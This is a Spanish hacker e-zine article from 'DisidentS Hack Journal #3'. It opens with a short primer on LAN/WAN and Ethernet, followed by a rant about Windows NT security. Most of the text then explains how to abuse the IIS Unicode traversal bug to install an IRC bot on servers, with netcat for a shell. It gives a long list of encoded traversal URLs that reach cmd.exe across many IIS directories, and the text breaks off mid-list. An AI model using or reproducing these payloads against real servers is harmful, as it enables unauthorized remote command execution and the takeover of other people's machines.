-+-| DisidentS Hack Journal #3 |-+-
_____________________________________________________________________
| |
| -- Titulo_____: Redes TCP/IP |
| -- Autor______: Rayika |
| -- Team_______: Disidents España - http://www.disidents.int-ltd.com |
| -- KB_________: 84.1 |
| -- Tema_______: Administracion de redes |
|_____________________________________________________________________|
.==========================================================================.
|===========~ INDICE ~======================================================
|===========================================================================
|=~ 1.0 Introduccion |
|=~ 2.0 Distinguiendo entre WAN Y LAN |
|=~ 3.0 Tecnologia Ethernet original |
|=~ 3.1 Variantes de Ethernet |
|=~ 3.2 Ethernet de cable delgado |
|=~ 4.0 Ethernet de par trenzado |
|=~ 5.0 Colisiones |
|=~ 6.0 Formato de la trama Ethernet |
|=~ 7.0 Extendiendo nuestra red local |
|=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=.
======================================================~ INDICE ~============
============================================================================
.==========================================================================.
|===========~ 1.0 Introduccion Copywrong by RaYiKa v1.0 ~==================
|===========================================================================
Bueno,este doc no es una maravilla pero servira como intruduccion a diversos
temas interesantes:
- Intro redes TCP/IP, en concreto Wan's i Lan's
- Por que los admins se deciden por NT
- Metiendo botijos al IRC mediante el Transversal Unicode Bug
- Instalacion Linux,con reparticionado y sin el
- Primeras configuraciones,makeando nuestro Linux
- Recompilacion del kernel
.==========================================================================.
|===========~ 2.0 Distinguiendo entre WAN Y LAN ~===========================
|===========================================================================
1. Bien,empezemos xD,para saber y conocer a fondo lo que es Ethernet hay ke
tener claro lo que son redes de area amplia y redes de area local.De todos
modos voy a explicarlos brevemente, al ke lo sepa pues ke bien y al ke no
pues mejor ;).
Una red de area amplia o WAN ( Wide Area Networks ) es una tecnologia usada
para unir computadoras que se encuentren en dos puntos geograficos lejanos,
como por ejemplo de Alemania a Guinea Ecuatorial xD, por medio de cables y
modems. Una red local o LAN ( Local Area Network ) es una tecnologia que se
usa normalmente para unir computadoras que s e encuentran en dos puntos
cercanos uno del otro,como por ejemplo la sala de una Universidad, etc. Las
redes WAN,como es de imaginar, tienen una velocidad de conexion bastante
lenta en comparacion con una LAN, que va desde los 56Kbps hasta 155 Mbps
( velocidad inalcanzable en la practica ), en cambio una LAN opera a razon
de 10Mbps y puede llegar a alzanzar 2Gbps.
.==========================================================================.
|===========~ 3.0 Tecnologia Ethernet original ~============================
|===========================================================================
3.0. Ethernet es una tecnologia LAN inventada por Xerox PARC en los 70
actualmente es la mas popularizada y la que mas standarizada se encuentra.La
Ethernet original utiliza para la conexion entre computadores un cable
coaxial de aproximadamente 1/2 pulgadas que consta de varias capas, un
alambre central, un relleno de polietileno,un blindaje de malla trenzada y
por ultimo una cubierta exterior de aislamiento. La conexion entre la
computadora y el cable coaxial no es directo, sino que se utiliza un
componente llamado transceptor, del cual sale otro cable llamado AUI
( Atachment Unit Interface ) que es el que va directo a la computadora.
Es necesario tantos transceptores como computadoras halla en la red, veamos
un simple esquema:
---------|---|------------------- <- Cable Ethernet
|---| <- Transceptor
|
|
|
| <- Cable AUI
|
|
|
|
|--------|
| |
| | <- Computadora
| |
| |
|--------|
Inconvenientes: Componentes electronicos costosos, dificil acceso para
posibles reparaciones de los transceptores, cable ether grueso y poco
manejable.
.==========================================================================.
|===========~ 4.0 Variantes de Ethernet ~==================================
|===========================================================================
4.1 Debido a los inconvenientes antes citados de la Ethernet original,se
invento una nuevo esquema de cableado de manera que el costo de instalacion
y mantenimiento se veia reducido notablemente en ambientes pequeños y con
menos presupuesto,a este nuevo esquema se le llamo Ethernet de cable delgado
o Thinnet.
Consistia en un cable Ether mas delgado y flexible que el que se utiliza
para la instalacion original, y debido a su estructura interna,suprimia los
componentes electronicos como el transceptor, esto supone una conexion
directa entre el cable ether y la computadora anfitriona.
4.2 La diferencia entre esta y los demas esquemas de cablea do ethernet
reside en la innecesidad de un blindaje del cable ether para prevenir
diafonias, etc. La Ethernet de par trenzado ( Twisted pair Ethernet ) consta
de dos cables trenzados entre si, delgados como los cables telefonicos
conectados desde un Hub hasta las computadoras anfitrionas.
.==========================================================================.
|===========~ 5.0 Colisiones ~==============================================
|===========================================================================
5. Una colision se produce cuando dos transceptores comienzan a transmitir
sin percatarse de que la red esta ocupada, ya que los paquetes no alcanzan
toda la red simultaneamente, sino que viajan a una velocidad proxima a la
de la luz, es entonces cuando si estas dos señales se cruzan se producen las
llamadas colisiones. Para detectar y prevenir estas situaciones,las redes
Ethernet son llamadas como CSMA/CD ( Carrier Sense Multiple Access Collision
Detect) que no es ni mas ni menos que un sistema de monitoreo de la red para
saber si se esta transmitiendo o no en un momento determinado. En caso de
detectarse una colision, el transceptor esperaria un pequeño periodo de
tiempo para volver a transmitir, si de nuevo se produce otra colision
esperaria el doble del tiempo empleado antes del segundo intento de
transmision.
.==========================================================================.
|===========~ 6.0 Formato de la trama Ethernet ~============================
|===========================================================================
6. El formato de trama de Ethernet no sera menor de 64 octetos y tampoco
mayor de 1518,que corresponderian a enzabezado,datos y CRC,conteniendo a su
vez informacion del destinatario y del destino solicitado,mas o menos seria
algo asi:
|--------|-----|-----|----|----------------|-----|
|--------|-----|-----|----|----------------|-----|
8 oct. 6 oc. 6 oc. 2 oc. 64-1500 oct 4 oc.
Preambulo Direc. Direc Datos Tipo trama CRC
de fuente trama
destino
*Preambulo: Ayuda a la sincronizacionde recepcion.
*CRC: Ayuda contra deteccion de errores.
.==========================================================================.
|===========~ 7.0 Extendiendo nuestra red local ~===========================
|===========================================================================
-[Extendiendo Lan's']-
7. Una LAN esta diseñada para espacios relativamente pequeños, pero se puede
extender con el uso de repetidores,pudiendo de esta manera alargar un poco
mas la longitud de nuestra red,esquema y listo ;) :
|
|
|----|--------|-------------- <- Piso 2
| |-|-| |
|--| R | |------|
| |---| | | <- Computadora 1,2,3...
| | |
| |------|
|
|
|
|
|
|
|----|--------|-------------- <- Piso 1
| |-|-| |
|--| R | |------|
| |---| | | <- Computadora 4,5,6...
| | |
| |------|
|
|
|
Hasta aqui este apartado,no es gran cosa ni mucho menos pero bueno,ahi queda
dicho :-)
[2] -[ Por que los admins? (xD) eligen NT]-
Bueno, todos sabemos del monopolio que ejerce Microsoft, tal tal, pero a la
hora de instalar un SO, la empresa considera que al contrario que Linux, un
sistema operativo gratis, inseguro, y encima de todo dificil de mantener/
configurar,tienen al todopoderoso Windows NT Workstation 4, iiiias, que es
seguro,porque es de Microsoft,facil de configurar y encima la licencia vale
un paston.
Pues todo lo contrario, la seguridad de Microsoft esta puesta en entredicho
en numerosas ocasiones,y la estabilidad y fiabilidad de un sistema GNU/Linux
esta mas que probada.
No contentos con eso, tras los graves fallos descubiertos en los SO's
mocochoft por,entre otros, George Guninski ( www.guninski.com ), el gigante
informatico lanza periodicamente sus Servie Packs, solventando los problemas
aparecidos, pero ultimamente el gates no deja de asombrarnos y tras la
instalacion de parches y service packs, se puede pasar de la remota
posibilidad de recibir un ataque DoS, a producirse cuelgues de sistema cada
dos por tres,pongo por ejemplo MS01-052 Invalid RDP Data can Cause Terminal
Service Failure, boletin de microsoft que publicaba un parche para este
fallo y que producia errores en los sistemas en los que eran instalados.
El mencionado antes,el parche para una vulnerabilidad en el UPnP ( Universal
Plug & Play ) era el causante de los problemas descritos con anterioridad,
etc,etc,etc. Si despues de todo esto, deciden instalar Windows NT, el que
avisa no es traidor xD.
Y que decir de el fantastico navegador Internet Explorer. para los rezagados
ha salido un parche que soluciona,esperemos,toooodos los fallos descubiertos
hasta hoy, en su version 5.5 y 6.0, la direccion para bajar el parche es la
siguiente :
http://www.microsoft.com/windows/ie/downloads/critical/Q313675/default.asp
[3] -[Metiendo botijos al IRC]-
Bien, lo que aqui voy a explicar es como aprovechar el famoso Transversal
Unicode Bug para meter un botijo en el irc,lo primero que hay que hacer es
bajarse un Winmech, es la version de emech para windows 98/NT, la podemos
descargar de www.energymech.net.
Tambien necesitamos el netcat que utilizaremos para abrirnos el prompt de
shell.
Las variantes que actualmente se conocen son las siguientes :
/AdminScripts/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/AdminScripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/MSADC/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C/winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C/winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C/winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C/winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C/winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C/winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C/winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C/winnt/system32/cmd.exe?/c+dir+c:\
/msadc/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir+c:\
/msadc/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C/winnt/system32/cmd.exe?/c+dir+c:\
/msdac/root.exe?/c+dir+c:\
/samples/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
